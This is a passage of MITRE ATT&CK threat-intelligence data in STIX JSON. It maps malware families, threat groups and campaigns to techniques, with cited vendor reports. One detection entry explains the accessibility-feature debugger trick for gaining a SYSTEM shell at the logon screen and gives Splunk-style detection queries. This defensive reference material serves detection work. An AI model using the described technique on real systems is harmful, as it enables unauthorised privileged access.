2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f5c53df-7076-4580-bd45-c4c9201269ae","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html","description":"Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.","source_name":"FireEye FELIXROOT July 2018"},{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-17T01:16:25.858Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) queries the Registry for specific keys for potential privilege escalation and proxy information. [FELIXROOT](https://attack.mitre.org/software/S0267) has also used WMI to query the Windows Registry.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f5d4ab0-6514-4a99-a5b9-456c903e4717","created":"2024-03-15T20:20:36.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"},{"source_name":"Metabase Q Mispadu Trojan 2023","description":"Garcia, F., Regalado, D. (2023, March 7). Inside Mispadu massive infection campaign in LATAM. Retrieved March 15, 2024.","url":"https://www.metabaseq.com/mispadu-banking-trojan/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T14:37:10.980Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) has relied on users to execute malicious files in order to gain execution on victim machines.(Citation: ESET Security Mispadu Facebook Ads 2019)(Citation: Metabase Q Mispadu Trojan 2023)(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f5efe16-ce46-4e37-9c9d-d45b14d1ab4c","type":"relationship","created":"2021-08-12T14:55:37.785Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sogeti CERT ESEC Babuk March 2021","url":"https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf","description":"Sogeti. (2021, March). Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"McAfee Babuk February 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf","description":"Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"Trend Micro Ransomware February 2021","url":"https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html","description":"Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021."}],"modified":"2021-10-04T13:21:51.603Z","description":"[Babuk](https://attack.mitre.org/software/S0638) can stop specific services related to backups.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: Trend Micro Ransomware February 2021)","relationship_type":"uses","source_ref":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4f5f0017-9924-4737-aa42-b4cbbce20099","created":"2022-04-13T19:31:01.200Z","x_mitre_version":"0.1","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) can execute malicious VBA macros embedded in .xlsm files.(Citation: NTT Security Flagpro new December 2021)","modified":"2022-04-13T19:31:01.200Z","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f5f1da9-9396-4b66-a67b-c08470924882","created":"2023-07-28T17:49:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.947Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has exploited known vulnerabilities such as CVE-2017-1000486 (Primefaces Application Expression Language Injection), CVE-2015-7450 (WebSphere Application Server SOAP Deserialization Exploit), CVE-2010-5326 (SAP NewWeaver Invoker Servlet Exploit), and EDB-ID-24963 (SAP NetWeaver ConfigServlet Remote Code Execution) to gain initial access.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f5fd1ed-a91e-4a9e-b2e8-6c45cc31e065","type":"relationship","created":"2020-09-24T14:20:39.243Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.339Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can collect the user name, Windows version, computer name, and available space on discs from a compromised host.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f62c818-2129-4dc2-9f80-105412df4b1d","type":"relationship","created":"2019-01-30T17:43:28.259Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.","source_name":"Kaspersky Darkhotel"}],"modified":"2020-03-16T20:05:43.480Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) used embedded iframes on hotel login portals to redirect selected victims to download malware.(Citation: Kaspersky Darkhotel)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f644120-7b96-4234-b81a-3160b34bca87","type":"relationship","created":"2019-04-19T14:43:17.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","source_name":"ASERT Donot March 2018"}],"modified":"2020-03-16T18:34:05.760Z","description":"[yty](https://attack.mitre.org/software/S0248) has some basic anti-sandbox detection that tries to detect Virtual PC, Sandboxie, and VMware. (Citation: ASERT Donot March 2018)","relationship_type":"uses","source_ref":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f6975b8-e16e-47ba-b241-b2267c5da4ef","created":"2022-09-27T16:21:58.161Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:21:58.161Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors exfiltrated files and directories of interest from the targeted system.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f6e677d-427b-4342-b35c-57f4f3ad4ff8","created":"2019-09-24T12:53:12.511Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:45:58.851Z","description":" [APT41](https://attack.mitre.org/groups/G0096) used the net share command as part of network reconnaissance.(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4f7680e9-3dd7-4365-a1cc-75342808e2c2","created":"2022-05-05T17:32:31.679Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) can use junk code to generate random activity to obscure malware behavior.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T17:32:31.679Z","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f76fd4d-a638-41a0-90b9-bd4ada6f93f3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html","description":"Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.","source_name":"FireEye Operation Double Tap"}],"modified":"2020-03-20T21:48:51.628Z","description":"An [APT3](https://attack.mitre.org/groups/G0022) downloader establishes SOCKS5 connections for its initial C2.(Citation: FireEye Operation Double Tap)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f780084-b507-420b-bb20-1a45e4919eda","type":"relationship","created":"2021-08-24T14:22:49.201Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Taidoor","description":"Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"},{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a","description":"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}],"modified":"2021-10-14T22:21:20.941Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) has collected the MAC address of a compromised host; it can also use GetAdaptersInfo to identify network adapters.(Citation: TrendMicro Taidoor)(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f7a6812-5026-47ce-9424-e6658cec5e54","created":"2023-07-13T19:21:30.304Z","revoked":false,"external_references":[{"source_name":"CrowdStrike Scattered Spider BYOVD January 2023","description":"CrowdStrike. (2023, January 10). SCATTERED SPIDER Exploits Windows Security Deficiencies with Bring-Your-Own-Vulnerable-Driver Tactic in Attempt to Bypass Endpoint Security. Retrieved July 5, 2023.","url":"https://www.crowdstrike.com/blog/scattered-spider-attempts-to-avoid-detection-with-bring-your-own-vulnerable-driver-tactic/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-13T19:21:30.304Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has leveraged legitimate remote management tools to maintain persistent access.(Citation: CrowdStrike Scattered Spider BYOVD January 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f7ce20c-fab3-4dbd-be9f-c023d7b0bd90","type":"relationship","created":"2020-09-29T15:45:28.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}],"modified":"2020-09-29T18:54:16.250Z","description":"[WellMess](https://attack.mitre.org/software/S0514) has the ability to use DNS tunneling for C2 communications.(Citation: PWC WellMess July 2020)(Citation: NCSC APT29 July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f7d0afb-471e-42e9-9a65-8d8aa8635ac5","created":"2024-02-09T19:27:00.297Z","revoked":false,"external_references":[{"source_name":"Kaspersky Lyceum October 2021","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T19:27:00.297Z","description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used WMI event subscriptions for persistence.(Citation: Kaspersky Lyceum October 2021)","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f806196-7c20-4923-ae01-8f0f7f27a4a7","type":"relationship","created":"2021-04-01T02:31:47.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye DLL Side-Loading","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf","description":"Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020."}],"modified":"2022-03-09T18:44:33.811Z","description":"When possible, include hash values in manifest files to help prevent side-loading of malicious libraries.(Citation: FireEye DLL Side-Loading)","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f8411e1-71c2-46da-a789-9403c4b1f967","created":"2022-01-05T16:16:01.347Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Group 72","description":"Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.","url":"http://blogs.cisco.com/security/talos/threat-spotlight-group-72"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.676Z","description":"(Citation: Cisco Group 72)(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f85e333-375b-4a5b-8a15-a3bd061678a4","created":"2021-10-01T01:57:31.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Trend Micro TeamTNT","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.706Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has searched for rival malware and removes it if found.(Citation: Trend Micro TeamTNT) [TeamTNT](https://attack.mitre.org/groups/G0139) has also searched for running processes containing the strings aliyun or liyun to identify machines running Alibaba Cloud Security tools.(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f86632a-1bf5-4e15-a3fa-590c06642286","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for newly constructed files that may execute their own malicious payloads by hijacking the way operating systems run programs.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f87daea-245e-484f-84bc-e0f6656a0dcb","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:15:20.376Z","description":"Monitor newly executed processes that may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features.\n\nAn adversary can use accessibility features (Ease of Access), such as StickyKeys or Utilman, to launch a command shell from the logon screen and gain SYSTEM access. Since an adversary does not have physical access to the machine, this technique must be run within Remote Desktop. To prevent an adversary from getting to the login screen without first authenticating, Network-Level Authentication (NLA) must be enabled. If a debugger is set up for one of the accessibility features, then it will intercept the process launch of the feature and instead execute a new command line. This analytic looks for instances of cmd.exe or powershell.exe launched directly from the logon process, winlogon.exe. \n\nSeveral accessibility programs can be run using the Ease of Access center\n\n- sethc.exe handles StickyKeys\n- utilman.exe is the Ease of Access menu\n- osk.exe runs the On-Screen Keyboard\n- narrator.exe reads screen text over audio\n- magnify.exe magnifies the view of the screen near the cursor\n\nOne simple way to implement this technique is to note that in a default Windows configuration there are no spaces in the path to the system32 folder. If the accessibility programs are ever run with a Debugger set, then Windows will launch the Debugger process and append the command line to the accessibility program. As a result, a space is inserted in the command line before the path. Looking for any instances of a space in the command line before the name of an accessibility program will help identify when Debuggers are set.\n\nThe Windows Registry location HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options allows for parameters to be set for applications during execution. One feature used by malicious actors is the “Debugger” option. When a key has this value enabled, a Debugging command line can be specified. Windows will launch the Debugging command line, and pass the original command line in as an argument. Adversaries can set a Debugger for Accessibility Applications. The analytic looks for the original command line as an argument to the Debugger. When the strings “sethc.exe”, “utilman.exe”, “osk.exe”, “narrator.exe”, and “Magnify.exe” are detected in the arguments, but not as the main executable, it is very likely that a Debugger is set.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic example looks for any creation of common accessibility processes such as sethc.exe but does no other filtering, which may result in false positives. Therefore, we recommend tuning any such analytics by including additional logic (e.g., testing the name of the parent process) that helps reduce false positives.\n\nAnalytic 2 could depend on the possibility of the known strings used as arguments for other applications used in the day-to-day environment. Although the chance of the string “sethc.exe” being used as an argument for another application is unlikely, it still is a possibility.\n\nAnalytic 1 - Command Launched from Winlogon\n\n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND ParentImage=\"winlogon.exe\" AND Image=\"cmd.exe\"AND \n(CommandLine=\"*sethc.exe\"\nOR CommandLine=\"*utilman.exe\"\nOR CommandLine=\"*osk.exe\" \nOR CommandLine=\"*narrator.exe\" \nOR CommandLine=\"*magnify.exe\"\n\nAnalytic 2 - Debuggers for Accessibility Applications\n\n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") | where CommandLine match \"$.* .*(sethcutilmanosknarratormagnify)\\.exe\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f89d6c4-29ec-4777-bbc9-b0ea78064c42","created":"2020-05-14T22:29:26.192Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 